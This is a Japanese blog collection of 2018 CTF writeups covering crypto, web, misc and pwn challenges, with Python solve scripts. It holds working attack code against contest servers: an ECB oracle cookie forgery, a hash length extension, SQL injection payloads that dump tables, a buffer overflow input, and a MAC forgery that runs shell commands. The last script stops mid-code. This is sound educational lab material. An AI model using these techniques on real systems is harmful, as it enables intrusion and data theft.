Viettel Mates CTF 2018 Writeup

この大会は2018/6/16 9:00(JST)~2018/6/17 9:00(JST)に開催されました。
今回もチームで参戦。結果は401点で400チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

参加確認問題。問題にフラグが書いてある。

matesctf{san1ty_ch3ck!}

web_token (Crypto)

Cookieのtokenは以下のようなデータ。

data = user + ":user"
AES-ECB暗号(data + HMAC_SECRET(16バイト)) + MAC(data)

HMAC_SECRETの後ろを1文字ずつはみ出させ、1ブロック目に0\x0f....\x0fから順番にブルートフォースで一致するものを割り出し、HMAC_SECRETを求める。
その後、以下のような暗号データを作り出す。

0123456789abcdef
###############:
adminHHHHHHHHHHH
HHHHH

1つは以下の暗号の1ブロック目を取得する。

0123456789abcdef
###############:
userHHHHHHHHHHHH
HHHH

もう一つは以下の暗号の2-3ブロック目を取得する。

0123456789abcdef
###############:
adminHHHHHHHHHHH
HHHHH

あとはそのまま結果を結合したものがadminのtokenになる。以下、Cookieにセットするtokenを求める最終的なコード。

import requests
import string
from base64 import b64decode, b64encode
from Crypto.Hash import HMAC

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def query(user):
    url = 'http://ec2-13-229-142-46.ap-southeast-1.compute.amazonaws.com:9999/login'
    s = requests.session()
    res = s.post(url, {'name': user})
    token = s.cookies.get('token')
    return token

def get_mac(secret, user):
    data = user + ':admin'
    h = HMAC.new(secret.encode('utf-8'))
    h.update(data.encode('utf-8'))
    mac = h.hexdigest()
    return mac.encode('utf-8')

chars = string.ascii_letters + string.digits

#### get secret ####
secret = ''
for i in range(16):
    padding = '#' * (12 + i)
    correct = b64decode(query(padding)[:-32])[32:48]
    for c in chars:
        try_user = pad(c + secret)[:16] 
        try_str = b64decode(query(try_user)[:-32])[:16]
        if try_str == correct:
            secret = c + secret
            print secret
            break

print secret

#### get encrypted admin data ####
plain1 = '#' * 15
block1 = b64decode(query(plain1)[:-32])[:16]

plain2 = pad('admin' + secret)
block2 = b64decode(query(plain2)[:-32])[:32]

mac = get_mac(secret, plain1)

token = b64encode(block1 + block2) + mac
print token

この結果、HMAC_SECRET = "QGxIOmkJxv4ojNhD"であることがわかり、###############ユーザのadmin判定されるtokenは以下の文字列であることがわかる。

PF9nsMg/+axwSmmJlEvgGDUG7h6hBBZoa/a+kFTYn5PB0lINDuxBu0loRtfKikhm4dd233ac961cb50af18e0b2b2b35414e

このtokenをクッキーに設定してアクセスすると、フラグが表示された。

Hi ###############
Congratulation! Flag is matesctf{ECB_M0d3_1s_Ins3cur3}
matesctf{ECB_M0d3_1s_Ins3cur3}

Viettel Store (Crypto)

$ nc 13.251.110.215 10001
Viettel Store
You were walking on the street. Suddenly, you found a wallet and there are 4060958 VND inside. You decided to go to Viettel Store to buy a new phone
Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit
1
Your option:  1
0 - Samsung Galaxy S9: 19990000 VND
1 - Oppo F5: 5990000 VND
2 - iPhone X: 27790000 VND
3 - Vivo Y55s: 3990000 VND
4 - Itel A32F: 1350000 VND
5 - FLAG: 999999999 VND
Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit
2
Your option:  2
Item ID: 5
Your order:
product=FLAG&price=999999999×tamp=1529124244035583&sign=effc77ebfb79b73e538b98118029f374f15a88360b17459a937548acf734619e

Your wallet: 4060958 VND
1. Phone list
2. Order
3. Pay
4. Exit

それぞれ選択すると、対応する関数が実行される。

■1: view_list
商品と価格を表示

■2: order
payment = 'product=%s&price=%d×tamp=%d'
sign = sha256(signkey+payment).hexdigest()

■3: pay
paymentとsignのペアが合っているかチェック

FLAGのpriceが所持金より高いので、priceを1にすることを考える。Hash Length Extension Attackで攻撃する。

import socket
import hashpumpy

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('13.251.110.215', 10001))

data = s.recv(256)
data += s.recv(256)
print data + '2'
s.sendall('2\n')

data = s.recv(256)
data += s.recv(256)
print data + '5'
s.sendall('5\n')
data = s.recv(256)
print data

payment0 = data.split('\n')[1]

sp = payment0.rfind('&sign=')
sign = payment0[sp+6:]
payment = payment0[:sp]

for i in range(1, 50):
    h, d = hashpumpy.hashpump(sign, payment, '&price=1', i)
    data = s.recv(256)
    print data + '3'
    s.sendall('3\n')
    data = s.recv(256)
    data += s.recv(256)
    payment_flag = d + '&sign=%s' % h
    print data + payment_flag
    s.sendall(payment_flag + '\n')
    data = s.recv(256)
    print data
    if data != 'Invalid Order!':
        break

data = s.recv(256)
data += s.recv(256)
print data + '4'
s.sendall('4\n')

この結果、FLAGを購入でき、フラグが得られる。

matesctf{e4sy_3xt3nti0n_4tt4cK_x0x0}

Security Fest CTF 2018 Writeup

この大会は2018/5/31 19:00(JST)~2018/6/2 1:00(JST)に開催されました。
今回もチームで参戦。結果は255点で546チーム中51位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (Misc)

freenodeで#securityfest-ctfチャネルに入ると、フラグが記載されている。

sctf{securityfestctf_2018}

Zion (Misc)

与えられたファイルをバイナリエディタで見ると、前半0x3892バイトにdocxが1つ、それ以降がバイト列が逆になっていて別のdocxがある。後半のdocxを取り出す。

with open('YouKnow', 'rb') as f:
    data = f.read()

data1 = data[:0x3892]
data2 = data[0x3892:]

with open('YouKnow1.docx', 'wb') as f:
    f.write(data1)

with open('YouKnow2.docx', 'wb') as f:
    f.write(data2[::-1])

後半のdocxをWordで開いてみると、フラグが書いてある。
f:id:satou-y:20180607214223p:plain

sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}

Mr.reagan (Misc)

ディスクイメージをFTK Imagerで開いてみる。orphanフォルダにあるファイルの内容は次の通り。

$Boot
bjN0MWNfcH 

$Extend
VsNTNfdzRz

$Info
c2N0ZnszbD

$LogFile
X2Y0azN9Cg

$Secure
NjdHIwbTRn

Base64文字列のようなのでデコードしてみる。

>>> 'bjN0MWNfcH=='.decode('base64')
'n3t1c_p'
>>> 'VsNTNfdzRz=='.decode('base64')
'V\xc3S5\xf7sG'
>>> 'c2N0ZnszbD=='.decode('base64')
'sctf{3l'
>>> 'X2Y0azN9Cg=='.decode('base64')
'_f4k3}\n'
>>> 'NjdHIwbTRn=='.decode('base64')
'67G#\x06\xd3F'

適当につなげてデコードしてみると、フラグになった。

>>> 'c2N0ZnszbDNjdHIwbTRnbjN0MWNfcHVsNTNfdzRzX2Y0azN9Cg=='.decode('base64')
'sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}\n'
sctf{3l3ctr0m4gn3t1c_pul53_w4s_f4k3}

SECCON Beginners CTF 2018 Writeup

この大会は2018/5/26 13:00(JST)~2018/5/27 13:00(JST)に開催されました。
今回は久々に一人チームで参戦。結果は1222点で844チーム中47位でした。
バイナリ系が弱いことを再確認した大会です。
自分で解けた問題をWriteupとして書いておきます。

[Warmup] Welcome (Misc)

IRCチャネルの名前の横に書いてある。

ctf4b{welcome_to_seccon_beginners_ctf}

[Warmup] plain mail (Misc)

smtp通信の中からメールを取り出し、さらにそこから添付されているZIPファイルを取り出す。
パスワードもあとで送信されていることがわかる。

_you_are_pro_

このパスワードでZIPファイルを展開すると、ファイルにフラグが書かれている。

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず (Misc)

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
694 * 888 =

ひらすら計算していけばよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

data = recvuntil(s, '.\n---------------------------------------------------------------\n')
print data

for i in range(100):
    data = recvuntil(s, '\n')
    formula = recvuntil(s, '= ')
    ans = str(eval(formula.replace('=', '')))
    print data + formula + ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
data += recvuntil(s, '\n')
print data

100回正解すると、フラグが表示された。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages (Misc)

FTK Imagerでイメージファイルを開くと、message1~3のフォルダがある。
message1のフォルダにはmessage_1_of_3.txtがあり、Base64文字列が書かれている。

Y3RmNGJ7eTB1X3QwdWNoZWQ=
$ echo Y3RmNGJ7eTB1X3QwdWNoZWQ= | base64 -d
ctf4b{y0u_t0uched

message2のフォルダにはmessage_2_of_3.pngがあるが、pngだが、ヘッダ8バイトがXXXXXXXXとなっていて、末尾には00がたくさんついている。PNGのヘッダに書き換え、末尾の00をすべて削除すると、画像にフラグの一部が書いてある。
f:id:satou-y:20180528202735p:plain
message3のファオルダにはファイルが見当たらないが、ファイル名がpdfであることだけわかる。08447のファイル内にPDFがあるので、切り出すとフラグの一部が書いてある。
f:id:satou-y:20180528203049p:plain
結合すると、フラグになる。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

[Warmup] Greeting (Web)

コードを見ると、postパラメータには何も入れずに、Cookieのnameパラメータにadminが設定されていればよいことがわかる。

$ curl -b 'name=admin' http://greeting.chall.beginners.seccon.jp/
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!adminさん!</h1>
    <hr>
          こんにちは管理者さん。
      Flagは、 &quot;ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}&quot;です。
       :
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

SECCON Goods (Web)

ソースを見ると、item.phpを介して、DBにアクセスしていることがわかる。union selectによるSQLインジェクションと推定し、順番に情報を取っていく。

$ curl "http://goods.challeginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4 --"
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4,5 --"
[{"id":"1","name":"2","description":"3","price":"4","stock":"5"}]
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select table_name,1,2,3,4 from information_schema.tables --"
[{"id":"CHARACTER_SETS","name":"1","description":"2","price":"3","stock":"4"},{"id":"COLLATIONS","name":"1","description":"2","price":"3","stock":"4"},……,
{"id":"flag","name":"1","description":"2","price":"3","stock":"4"},{"id":"items","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select column_name,1,2,3,4 from information_schema.columns where table_name='flag' --"
[{"id":"flag","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select flag,1,2,3,4 from flag --"
[{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムにflagが入っていた。

ctf4b{cl4551c4l_5ql_1nj3c710n}

[Warmup] Veni, vidi, vici (Crypto)

part1~3の暗号がある。part1は以下の暗号。

Gur svefg cneg bs gur synt vf: pgs4o{a0zber

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。ROT13で復号できた。

The first part of the flag is: ctf4b{n0more

part2は以下の暗号。

Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

これもシーザー暗号。同じく上記のサイトで復号。ROT18で復号できた。

The second part of the flag is: _cLass!cal_c

part3は以下の暗号。

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

上下逆にすると、フラグの一部になる。

The third part of the flag is: Rypt0graphy}

すべて結合すると、フラグになる。

ctf4b{n0more_cLass!cal_cRypt0graphy}

Streaming (Crypto)

フラグの先頭がわかっているので、逆算して最初のgを算出する。あとはXORで元に復号すればよい。

A = 37423
B = 61781
C = 34607

pre_flag = 'ctf4b{'

def next(seed):
    seed = (A * seed + B) % C
    return seed

with open('streaming/encrypted', 'rb') as f:
    data = f.read()

xor0 = ord(data[0]) + ord(data[1]) * 256
xor1 = ord(data[2]) + ord(data[3]) * 256
xor2 = ord(data[4]) + ord(data[5]) * 256

x0 = xor0 ^ int(pre_flag[0:2].encode('hex'), 16)
x1 = xor1 ^ int(pre_flag[2:4].encode('hex'), 16)
x2 = xor2 ^ int(pre_flag[4:6].encode('hex'), 16)

assert (A * x0 + B) % C == x1
assert (A * x1 + B) % C == x2

flag = ''
g = x0
for i in range(0, len(data), 2):
    xor_val = ord(data[i]) + ord(data[i+1]) * 256
    x = xor_val ^ g
    flag +=('%x' % x).decode('hex')
    g = next(g)

print flag
ctf4b{lcg-is-easily-predictable}

RSA is Power (Crypto)

n, e, cが与えられている。nをfactordbで素因数分解する。

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

あとはそのまま復号すればよい。

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

phi = (p - 1) * (q - 1)

x = 0
while True:
    if (phi * x + 1) % E == 0:
        d = (phi * x + 1) / E
        break
    x = x + 1

m = pow(C, d, N)

flag = ('%x' % m).decode('hex')
print flag
ctf4b{5imple_rs4_1s_3asy_f0r_u}

Well Known (Crypto)

$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
aabbccddeeff
r = 62645628195244559274546419372547789374311683313901304193197771394466831076496
s = 60381278484527044314928671102330799715626880732615158327909340984580039303092

p, q, gの値が表示される。ECDSAと同様の問題。kはsha1で計算しているので、sha1の衝突データを2つ指定できれば、同じrで異なるsの値が得られる。それができればxの値を計算してフラグが得られる。
https://github.com/sonickun/sha1-colliderスクリプトを使って、2つのsha1衝突ファイルを作成する。サイズが大きいが多少削っても衝突する。rが同じ値になるよう調整し、最終的には以下のコードでフラグが得られrた。

import socket
import hashlib
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypt1.chall.beginners.seccon.jp', 31337))

data = recvuntil(s, '\n')
print data[:-1]
p = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
q = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
g = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

with open('a-collision.pdf', 'rb') as f:
    shattered1 = f.read()

with open('b-collision.pdf', 'rb') as f:
    shattered2 = f.read()

send_shattered1 = shattered1[:-2000]
h_send_shattered1 = send_shattered1.encode('hex')
print h_send_shattered1
s.sendall(h_send_shattered1 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

send_shattered2 = shattered2[:-2000]
h_send_shattered2 = shattered2[:-2000].encode('hex')
print h_send_shattered2
s.sendall(h_send_shattered2 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r2 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s2 = int(data.strip().split(' ')[2])

assert r1 == r2

h1 = int(hashlib.sha256(send_shattered1).hexdigest(), 16)
h2 = int(hashlib.sha256(send_shattered2).hexdigest(), 16)

k = int(((h1 - h2) % q) * inverse(((s1 - s2) % q), q))
x = int((((((s1 * k) % q) - h1) % q) * inverse(r1, q)) % q)
print x

flag = ('%x' % x).decode('hex')
print flag
ctf4b{be_c4reful_w1th_k}

[Warmup] Simple Auth (Reversing)

$ ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7ffd88601cd8, 0x400830 <unfinished ...>
printf("Input Password: ")                       = 16
__isoc99_scanf(0x4008c5, 0x7ffd88601bc0, 0x7f81381249e0, 1024Input Password: aaa
) = 1
strlen("aaa")                                    = 3
strlen("ctf4b{rev3rsing_p4ssw0rd}\377\377\377")  = 28
puts("Umm...Auth failed..."Umm...Auth failed...
)                     = 21
+++ exited (status 0) +++
ctf4b{rev3rsing_p4ssw0rd}

[Warmup] condition (Pwn)

IDA Freewareで開く。0xdeadbeefと比較している箇所がある。次にgdbで確認する。

      :
gdb-peda$ n
abcdefghijklm
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc80 ("abcdefghijklm")
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7ffff7dd59f0 --> 0x0 
RSI: 0x7ffff7ff900d --> 0xa (b'\n')
RDI: 0x7fffffffdc8d --> 0x400850000000 
RBP: 0x7fffffffdcb0 --> 0x0 
RSP: 0x7fffffffdc80 ("abcdefghijklm")
RIP: 0x4007a0 (<main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef)
R8 : 0x7ffff7ff900e --> 0x0 
R9 : 0x0 
R10: 0xd (b'\r')
R11: 0x246 
R12: 0x400660 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd90 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x400793 <main+34>:	mov    rdi,rax
   0x400796 <main+37>:	mov    eax,0x0
   0x40079b <main+42>:	call   0x400620 <gets@plt>
=> 0x4007a0 <main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x4007a7 <main+54>:	jne    0x4007bf <main+78>
   0x4007a9 <main+56>:	mov    edi,0x4008f8
   0x4007ae <main+61>:	call   0x4005c0 <puts@plt>
   0x4007b3 <main+66>:	mov    edi,0x40091e
[------------------------------------stack-------------------------------------]
00:0000| rax rsp 0x7fffffffdc80 ("abcdefghijklm")
01:0008| rdi-5   0x7fffffffdc88 --> 0x6d6c6b6a69 (b'ijklm')
02:0016|         0x7fffffffdc90 --> 0x400850 (<__libc_csu_init>:	push   r15)
03:0024|         0x7fffffffdc98 --> 0x400660 (<_start>:	xor    ebp,ebp)
04:0032|         0x7fffffffdca0 --> 0x7fffffffdd90 --> 0x1 
05:0040|         0x7fffffffdca8 --> 0x0 
06:0048| rbp     0x7fffffffdcb0 --> 0x0 
07:0056|         0x7fffffffdcb8 --> 0x7ffff7a32f45 (<__libc_start_main+245>:	mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x00000000004007a0 in main ()

入力が xxx(44バイト)+\xef\xbe\xad\xde の場合にフラグが得られるはず。

$ python -c "print 'a'* 44 + '\xef\xbe\xad\xde'" | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

RCTF 2018 Writeup

この大会は2018/5/19 10:00(JST)~2018/5/21 10:00(JST)に開催されました。
今回もチームで参戦。結果は5258点で400チーム中16位でした。
自分で解けた問題をWriteupとして書いておきます。

Number Game (Misc)

4つの数字を言うと、位置が合っている数と位置が違うが含まれている数を教えてもらい、正しい数字を推測するゲーム。Bulls and cows という名前らしい。
https://rosettacode.org/wiki/Bulls_and_cows/Player#Python を参考にコードを書く。チャンスは6回。

import socket
import re
import itertools
import string
import hashlib

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def parse_score(score):
    score = score.strip().split(',')
    return tuple(int(s.strip()) for s in score)

def scorecalc(guess, chosen):
    bulls = cows = 0
    for g,c in itertools.izip(guess, chosen):
        if g == c:
            bulls += 1
        elif g in chosen:
            cows += 1
    return bulls, cows

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('149.28.139.172', 10002))

data = recvuntil(s, '\n')
print data

pattern = 'sha256\(\*\*\*\*\+(.+)\) == (.+)'
m = re.match(pattern, data)
text_tail = m.group(1)
h = m.group(2)

data = recvuntil(s, ':')
print data

for c in itertools.product(string.digits + string.letters, repeat=4):
    text_head = ''.join(c)
    text = text_head + text_tail
    if hashlib.sha256(text).hexdigest() == h:
        print text_head
        s.sendall(text_head + '\n')
        break

data = ''
for i in range(17):
    data += recvuntil(s, '\n')
print data

digits = '0123456789'

for round in range(8):
    choices = list(itertools.permutations(digits, 4))
    answers = []
    scores  = []

    data = ''
    for i in range(2):
        data += recvuntil(s, '\n')
    print data

    while True:
        ans = choices[0]
        answers.append(ans)
        dig_str = ' '.join(ans)
        print dig_str
        s.sendall(dig_str + '\n')
        data = recvuntil(s, '\n')
        print data
        if 'Nope.' in data:
            score = parse_score(data[6:])
            scores.append(score)
            choices = [c for c in choices if scorecalc(c, ans) == score]
        else:
            break

data = s.recv(1024)
print data

失敗することも多々あるが、8ラウンド成功すればよいので、このコードで何回も挑戦。

RCTF{0lD_GaM3_nAmed_Bu11s_4nd_C0ws}

ECDH (Crypto)

$ nc ECDH.2018.teamrois.cn 42000

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 1
Bob sent me something.Bob said: Just kidding~

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 2
pub: 03474f81154bb8b931ddc36f9746484517

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 3
pub: 034320a6aeb0b093332d883a0c17fac4ce

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 1

Hello nobody...I'm Alice... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Bob's public key
4. tell me Bob's public key
input here: 4

Alice have a new public key? Thank you for telling me!
input here with hex string (e.g deadbeef): deadbeef
Oops!

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 1
I'v already told Alice...bye

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 2
pub: 034320a6aeb0b093332d883a0c17fac4ce

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 3
pub: 03474f81154bb8b931ddc36f9746484517

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 2

Hello nobody...I'm Bob... you can:
1. ask for flag
2. ask me about my public key
3. ask me about Alice's public key
4. tell me Alice's public key
input here: 4

Bob have a new public key? Thank you for telling me!
input here with hex string (e.g deadbeef): deadbeef
Oops!

Welcome to my GETFLAG system
1. visit Alice
2. visit Bob
3. about
input here: 3
ECDH.....https://github.com/esxgx/easy-ecc..secp128r1..AES...EBC.......

ECDHで共通鍵を渡し、AESのECBモードで暗号化したメッセージをBobが送っているということのようだ。

https://github.com/esxgx/easy-ecc
・public keyの2バイト目以降:l_public.x
・public keyの1バイト目:2 + (l_public.y[0] & 0x01)

上記の仕様に基づいているが、タイトル通りECDHの問題。

dA: Aliceの秘密鍵
dB: Bobの秘密鍵
QA: Aliceの公開鍵(QA = dA * G)
QB: Bobの公開鍵(QB = dB * G)

dA * QB = dA * (dB * G) = dB * (dA * G) = dB * QA

これが共通鍵になる。
Aliceの公開鍵をGにすると、dB * G、つまりBobの公開鍵が共通鍵となる。共通鍵を取得できたら、AESのECBモードで復号するとフラグが得られる。スクリプトにすると以下のようになる。

import socket
from Crypto.Cipher import AES

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def send_data(s, data):
    r = recvuntil(s, ': ')
    print r + data
    s.sendall(data + '\n')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ECDH.2018.teamrois.cn', 42000))

# Alice's public key setting
send_data(s, '2')
send_data(s, '4')
send_data(s, '03161ff7528b899b2d0c28607ca52c5b86')

# get Bob's public key
send_data(s, '2')
send_data(s, '2')
r = recvuntil(s, '\n')
print r[:-1]
key = r[7:-1].decode('hex')

# get encrypted flag
send_data(s, '2')
send_data(s, '1')
send_data(s, '1')
send_data(s, '1')
r = recvuntil(s, '\n')
print r[:-1]
enc = r[32:-1].decode('hex')

# decrypt
aes = AES.new(key, AES.MODE_ECB)
flag = aes.decrypt(enc)
while True:
    if flag[-1] == '\x00':
        flag = flag[:-1]
    else:
        break
print flag
RCTF{UgotTHEpoint}

DEF CON CTF Qualifier 2018 Writeup

この大会は2018/5/12 9:00(JST)~2018/5/14 9:00(JST)に開催されました。
今回もチームで参戦。結果は757点で586チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

You Already Know (warmup)

ブラウザのデベロッパーツールで確認する。

{"success": true, "message": "Stop overthinking it, you already know the answer here.\n\n[comment]: <> (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\n**Seriously**, _if you can read this_, then you have the flag.\n\nSubmit it!\n"}

コメントにフラグが書かれている。

OOO{Sometimes, the answer is just staring you in the face. We have all been there}

Say Hi! (human interaction)

母の日という前置きがあって、親兄弟、配偶者や友人など特別な人に言う言葉を入れればよいみたい。他の言葉でも正解があるのかもしれないが、母の日と言えばこれかと思い、この言葉を入れたら通った。

Thanks

PlaidCTF 2018 Writeup

この大会は2018/5/5 13:00(JST)~2018/5/7 1:00(JST)に開催されました。
今回もチームで参戦。結果は451点で986チーム中68位でした。
自分で解けた問題をWriteupとして書いておきます。

macsh (Crypto 125)

'<|>'区切りで1個目がmac, 2個目がcmdline

$ nc macsh.chal.pwning.xxx 64791
|$|> aaa<|>ls
macsh: bad tag
|$|> aaa<|>oo
macsh: oo: command not found
|$|> aaa<|>tag echo 123
feb086773d17f6438c7630d7da1dba79
|$|> bbb<|>tag echo 123
feb086773d17f6438c7630d7da1dba79
|$|> aaa<|>tag echo 456
d610717ba31f48a0cbde88926e95bd82
|$|>

k0, k1はランダムな16バイト文字列でmtagを先頭につけたときはmacを表示してくれる。
k0の鍵を割り出そうと考えたが、それは難しい。よく見ると129ブロック目は1ブロック目から鍵を再度使うようになっている。このことを使い、例えば以下のように考える。

ブロック データ1 データ2
1ブロック目 echo 0123456789; echo 0123456789;
2ブロック目 echo 0123456789; echo 0123456789;
128ブロック目 echo 0123456789; echo 0123456789;
129ブロック目 echo ls .
130ブロック目 コマンド長情報 コマンド長情報
131ブロック目 padding(\x10*16) padding(\x10*16)

こう考えると、データ1とデータ2の129ブロック以外の各ブロックの暗号化のXORは0となるため、echoコマンドとlsコマンドのmacのXORの値がわかる。さらに1ブロック目がechoコマンドの場合とXORを取れば1ブロック目がlsコマンドの場合のmacを取得できる。
lsコマンドでflag.txtがあることがわかるので、cat flag.txtでフラグが得られる。最終的なコードは以下の通り。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('macsh.chal.pwning.xxx', 64791))

data = recvuntil(s, '|$|> ')
print data

cmd_head = 'a<|>tag '

#### ls exec ####
cmd1 = 'echo 0123456789;' * 128 + 'echo'
cmd = cmd_head + cmd1
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac1 = data.split('\n')[0]

cmd2 = 'echo 0123456789;' * 128 + 'ls .'
cmd = cmd_head + cmd2
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac2 = data.split('\n')[0]

cmd3 = 'echo'
cmd = cmd_head + cmd3
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac3 = data.split('\n')[0]

mac_ls = '%032x' % (int(mac1, 16) ^ int(mac2, 16) ^ int(mac3, 16))
cmd_ls = mac_ls + '<|>ls .'
print cmd_ls
s.sendall(cmd_ls + '\n')
data = recvuntil(s, '|$|> ')
print data

#### cat exec ####
cmd1 = 'echo 0123456789;' * 128 + 'echo 0123456'
cmd = cmd_head + cmd1
print cmd
s.sendall(cmd + '\n')
data = recvuntil(s, '|$|> ')
print data
mac1 = data.split('\n')[0]

